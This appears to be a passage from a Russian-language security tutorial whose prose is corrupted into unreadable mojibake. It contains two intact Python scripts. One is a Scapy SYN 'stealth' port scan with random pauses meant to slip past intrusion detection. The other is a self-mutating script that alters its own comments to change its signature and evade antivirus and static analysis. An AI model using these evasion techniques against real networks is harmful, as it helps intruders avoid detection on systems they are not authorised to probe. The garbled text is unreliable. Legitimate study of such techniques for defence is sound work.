- Π‘Π»ΡΡΠ°ΠΉΠ½Π°Ρ Π·Π°Π΄Π΅ΡΠΆΠΊΠ°. ΠΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΡΠ»ΡΡΠ°ΠΉΠ½ΡΡ ΠΏΠ°ΡΠ· ΠΌΠ΅ΠΆΠ΄Ρ Π·Π°ΠΏΡΠΎΡΠ°ΠΌΠΈ Π΄Π΅Π»Π°Π΅Ρ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΡ ΠΎΠΆΠΈΠΌ Π½Π° Π΄Π΅ΠΉΡΡΠ²ΠΈΡ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊΠ°, Π° Π½Π΅ ΠΌΠ°ΡΠΈΠ½Ρ. ΠΡΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ ΠΎΠ±ΠΎΠΉΡΠΈ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΡΠΈΡΡΠ΅ΠΌΡ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ.
from scapy.all import IP, TCP, sr1 import random import time def stealth_port_scan(target_ip, port): # Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ SYN-ΠΏΠ°ΠΊΠ΅Ρ (ΠΊΠ°ΠΊ Π±ΡΠ΄ΡΠΎ Ρ ΠΎΡΠΈΠΌ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ TCP-ΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅) packet = IP(dst=target_ip)/TCP(dport=port, flags="S") # ΠΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌ ΠΏΠ°ΠΊΠ΅Ρ ΠΈ ΠΆΠ΄ΡΠΌ ΠΎΡΠ²Π΅Ρ response = sr1(packet, timeout=1, verbose=0) # ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ: Π΅ΡΠ»ΠΈ ΡΠ»Π°Π³ ΠΎΡΠ²Π΅ΡΠ° β SYN-ACK (0x12), Π·Π½Π°ΡΠΈΡ ΠΏΠΎΡΡ ΠΎΡΠΊΡΡΡ if response and response.haslayer(TCP) and response[TCP].flags == 0x12: print(f"ΠΠΎΡΡ {port} Π½Π° {target_ip} β ΠΎΡΠΊΡΡΡ.") else: print(f"ΠΠΎΡΡ {port} Π½Π° {target_ip} β Π·Π°ΠΊΡΡΡ ΠΈΠ»ΠΈ ΡΠΈΠ»ΡΡΡΡΠ΅ΡΡΡ.") if __name__ == '__main__': target = "192.168.1.1" # ΠΡΠΎΠ²Π΅ΡΡΠ΅ΠΌ 5 ΡΠ»ΡΡΠ°ΠΉΠ½ΡΡ ΠΏΠΎΡΡΠΎΠ² ΠΎΡ 20 Π΄ΠΎ 1024 for port in random.sample(range(20, 1024), 5): stealth_port_scan(target, port) time.sleep(random.uniform(0.5, 2)) # ΡΠ»ΡΡΠ°ΠΉΠ½Π°Ρ ΠΏΠ°ΡΠ·Π° ΠΌΠ΅ΠΆΠ΄Ρ ΡΠΊΠ°Π½Π°ΠΌΠΈ
βΉοΈ Π‘ΠΊΡΡΡΠΎΠ΅ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π΄Π»Ρ:
- ΠΠ΅Π·Π°ΠΌΠ΅ΡΠ½ΠΎΠ³ΠΎ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ ΡΠ΅ΡΠΈ.
- ΠΠ±Ρ ΠΎΠ΄Π° IDS/IPS-ΡΠΈΡΡΠ΅ΠΌ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΎΡΡΠ»Π΅ΠΆΠΈΠ²Π°ΡΡ ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»ΡΠ½ΡΡ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΡ.
- Π‘Π±ΠΎΡΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π±Π΅Π· ΡΠΈΡΠΊΠ° Π±Π»ΠΎΠΊΠΈΡΠΎΠ²ΠΊΠΈ.
β οΈ ΠΠ°ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠ°ΠΊΠΈΠ΅ ΡΠΊΠ°Π½Π΅ΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π² Π»Π΅Π³Π°Π»ΡΠ½ΡΡ ΡΠ΅Π»ΡΡ , Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π² ΡΠ°ΠΌΠΊΠ°Ρ ΠΏΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³Π° Ρ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ Π²Π»Π°Π΄Π΅Π»ΡΡΠ° ΡΠ΅ΡΠΈ.
ΠΠ²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠ°Ρ ΠΌΡΡΠ°ΡΠΈΡ
Π§ΡΠΎΠ±Ρ ΠΎΠ±ΠΎΠΉΡΠΈ ΡΠΈΡΡΠ΅ΠΌΡ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ, ΠΎΡΠ½ΠΎΠ²Π°Π½Π½ΡΠ΅ Π½Π° ΡΠΈΠ³Π½Π°ΡΡΡΠ°Ρ (Π°Π½ΡΠΈΠ²ΠΈΡΡΡΡ ΠΈΠ»ΠΈ ΡΠΈΡΡΠ΅ΠΌΡ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³Π° ΠΊΠΎΠ΄Π°), ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°ΡΡ ΡΠΊΡΠΈΠΏΡ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠ·ΠΌΠ΅Π½ΡΡΡ ΡΠ΅Π±Ρ ΠΏΠ΅ΡΠ΅Π΄ ΠΊΠ°ΠΆΠ΄ΡΠΌ Π·Π°ΠΏΡΡΠΊΠΎΠΌ. ΠΡΠ° ΠΌΠ΅ΡΠΎΠ΄ΠΈΠΊΠ° Π½Π°Π·ΡΠ²Π°Π΅ΡΡΡ ΠΌΡΡΠ°ΡΠΈΠ΅ΠΉ β ΠΎΠ½Π° ΠΏΡΠ΅Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΊΡΠΈΠΏΡ Π² ΠΏΠΎΠ΄Π²ΠΈΠΆΠ½ΡΡ ΡΠ΅Π»Ρ, ΡΠ»ΠΎΠΆΠ½ΡΡ Π΄Π»Ρ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½ΠΈΡ ΠΈ Π°Π½Π°Π»ΠΈΠ·Π°.
π§ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΌΡΡΠ°ΡΠΈΡ:
- ΠΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈΡΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. Π‘ΠΊΡΠΈΠΏΡ ΡΡΠΈΡΡΠ²Π°Π΅Ρ ΡΠ²ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΠΊΠΎΠ΄, Π²Π½ΠΎΡΠΈΡ Π½Π΅Π·Π½Π°ΡΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΡΠ»ΡΡΠ°ΠΉΠ½ΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΠΌΠ΅Π½ΡΠ΅Ρ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π½Π° ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ ), Π° Π·Π°ΡΠ΅ΠΌ ΡΠΎΡ ΡΠ°Π½ΡΠ΅Ρ ΡΠ΅Π±Ρ ΠΎΠ±ΡΠ°ΡΠ½ΠΎ.
- ΠΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡΠΈΡΡΠΎΠ²ΠΎΠ³ΠΎ ΠΎΡΠΏΠ΅ΡΠ°ΡΠΊΠ°. ΠΡΠΈ Π½Π΅Π·Π½Π°ΡΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ Π½Π΅ Π²Π»ΠΈΡΡΡ Π½Π° Π»ΠΎΠ³ΠΈΠΊΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, Π½ΠΎ ΠΌΠ΅Π½ΡΡΡ ΡΠΈΠ³Π½Π°ΡΡΡΡ ΡΠ°ΠΉΠ»Π° (Π΅Π³ΠΎ Β«ΠΎΡΠΏΠ΅ΡΠ°ΡΠΎΠΊΒ»), ΡΡΠΎ Π·Π°ΡΡΡΠ΄Π½ΡΠ΅Ρ Π΅Π³ΠΎ ΡΠ°ΡΠΏΠΎΠ·Π½Π°Π²Π°Π½ΠΈΠ΅ ΠΏΠΎ ΡΠ°Π±Π»ΠΎΠ½Ρ.
import os import random def mutate_script(filename): with open(filename, 'r') as file: lines = file.readlines() # Π‘Π»ΡΡΠ°ΠΉΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΠ΅ΠΌ ΡΡΡΠΎΠΊΠΈ Ρ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠΌΠΈ for i, line in enumerate(lines): if line.strip().startswith("#") and random.choice([True, False]): lines[i] = f"# Mutation {random.randint(1, 1000)}: {line}" with open(filename, 'w') as file: file.writelines(lines) print("Π‘ΠΊΡΠΈΠΏΡ ΡΡΠΏΠ΅ΡΠ½ΠΎ ΠΌΡΡΠΈΡΠΎΠ²Π°Π½.") if __name__ == '__main__': current_file = __file__ mutate_script(current_file)
βΉοΈ Π‘ΠΊΡΠΈΠΏΡΡ-ΠΌΡΡΠ°Π½ΡΡ ΠΏΡΠΈΠ³ΠΎΠ΄ΡΡΡΡ Π΄Π»Ρ:
- ΠΠ·Π±Π΅Π³Π°Π½ΠΈΡ ΡΡΠ°ΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° β ΠΌΡΡΠ°ΡΠΈΡ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ ΠΎΠ±ΠΎΠΉΡΠΈ ΡΠΈΡΡΠ΅ΠΌΡ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΡΡΡ ΠΈΠ·Π²Π΅ΡΡΠ½ΡΠ΅ ΡΠ°Π±Π»ΠΎΠ½Ρ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°.
- ΠΠΈΠ½Π°ΠΌΠΈΡΠ΅ΡΠΊΠΎΠΉ Π·Π°ΡΠΈΡΡ β ΠΊΠΎΠ΄ Π±ΡΠ΄Π΅Ρ Π²ΡΠ³Π»ΡΠ΄Π΅ΡΡ ΠΏΠΎ-ΡΠ°Π·Π½ΠΎΠΌΡ ΠΏΡΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π·Π°ΠΏΡΡΠΊΠ΅, ΠΈ ΡΡΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ ΡΠΏΡΠ°Π²ΠΈΡΡΡΡ Ρ ΠΏΠΎΠΏΡΡΠΊΠ°ΠΌΠΈ ΡΡΡΠ½ΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°.
- ΠΠ΅Π½ΡΠ΅ΡΡΠΈΠ½Π³Π° β ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π»Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡΠΈΡΡΠ΅ΠΌΠ° ΡΠ΅Π°Π³ΠΈΡΡΠ΅Ρ Π½Π° ΠΈΠ·ΠΌΠ΅Π½ΡΡΡΠΈΠΉΡΡ ΠΊΠΎΠ΄.
β οΈ ΠΠ°ΠΆΠ½ΠΎ:
Π‘ΠΊΡΠΈΠΏΡΡ-ΠΌΡΡΠ°Π½ΡΡ ΡΠ°ΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΡΡ Π²ΠΎ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠΌ ΠΠ, Π½ΠΎ ΠΈΡ ΡΠ°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠΈΡΠ½ΠΎ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ:
- ΠΡΠΈ ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΠΈ Π°Π½ΡΠΈΠ²ΠΈΡΡΡΠΎΠ² ΠΈΠ»ΠΈ IDS.
- ΠΠ»Ρ Π·Π°ΡΠΈΡΡ ΠΈΠ½ΡΠ΅Π»Π»Π΅ΠΊΡΡΠ°Π»ΡΠ½ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎΡΡΠΈ.
- ΠΠ»Ρ ΡΠΎΠ·Π΄Π°Π½ΠΈΡ ΡΠ°ΠΌΠΎΠ²ΠΎΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°ΡΡΠΈΡ ΡΡ ΡΠΊΡΠΈΠΏΡΠΎΠ² Π² ΡΠ΅ΡΡΠΎΠ²ΡΡ ΡΡΠ΅Π΄Π°Ρ .
Π Π·Π°ΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅
ΠΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΡ Ρ Ρ Π°ΠΊΠ΅ΡΡΠΊΠΈΠΌΠΈ ΡΠΊΡΠΈΠΏΡΠ°ΠΌΠΈ ΠΏΠΎΠΌΠΎΠ³ΡΡ ΡΠ»ΡΡΡΠΈΡΡ Π½Π°Π²ΡΠΊΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡ ΠΎΠΏΡΡΠ½ΡΠ΅ ΠΏΠ΅Π½ΡΠ΅ΡΡΠ΅ΡΡ ΠΈ ΡΠΏΠ΅ΡΠΈΠ°Π»ΠΈΡΡΡ ΠΏΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ. ΠΠ°ΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡΡ, ΡΡΠΎ ΠΏΡΠΈΠΌΠ΅Π½ΡΡΡ ΡΠ°ΠΊΠΈΠ΅ ΡΠ΅Ρ Π½ΠΈΠΊΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ»ΡΠΊΠΎ Π² Π²ΠΈΡΡΡΠ°Π»ΡΠ½ΡΡ ΠΌΠ°ΡΠΈΠ½Π°Ρ ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ½ΡΡΠΎΠ»ΠΈΡΡΠ΅ΠΌΠΎΠΉ ΡΡΠ΅Π΄Π΅ ΠΏΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠ΅Π³ΠΎ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ° ΡΠΈΡΡΠ΅ΠΌΡ.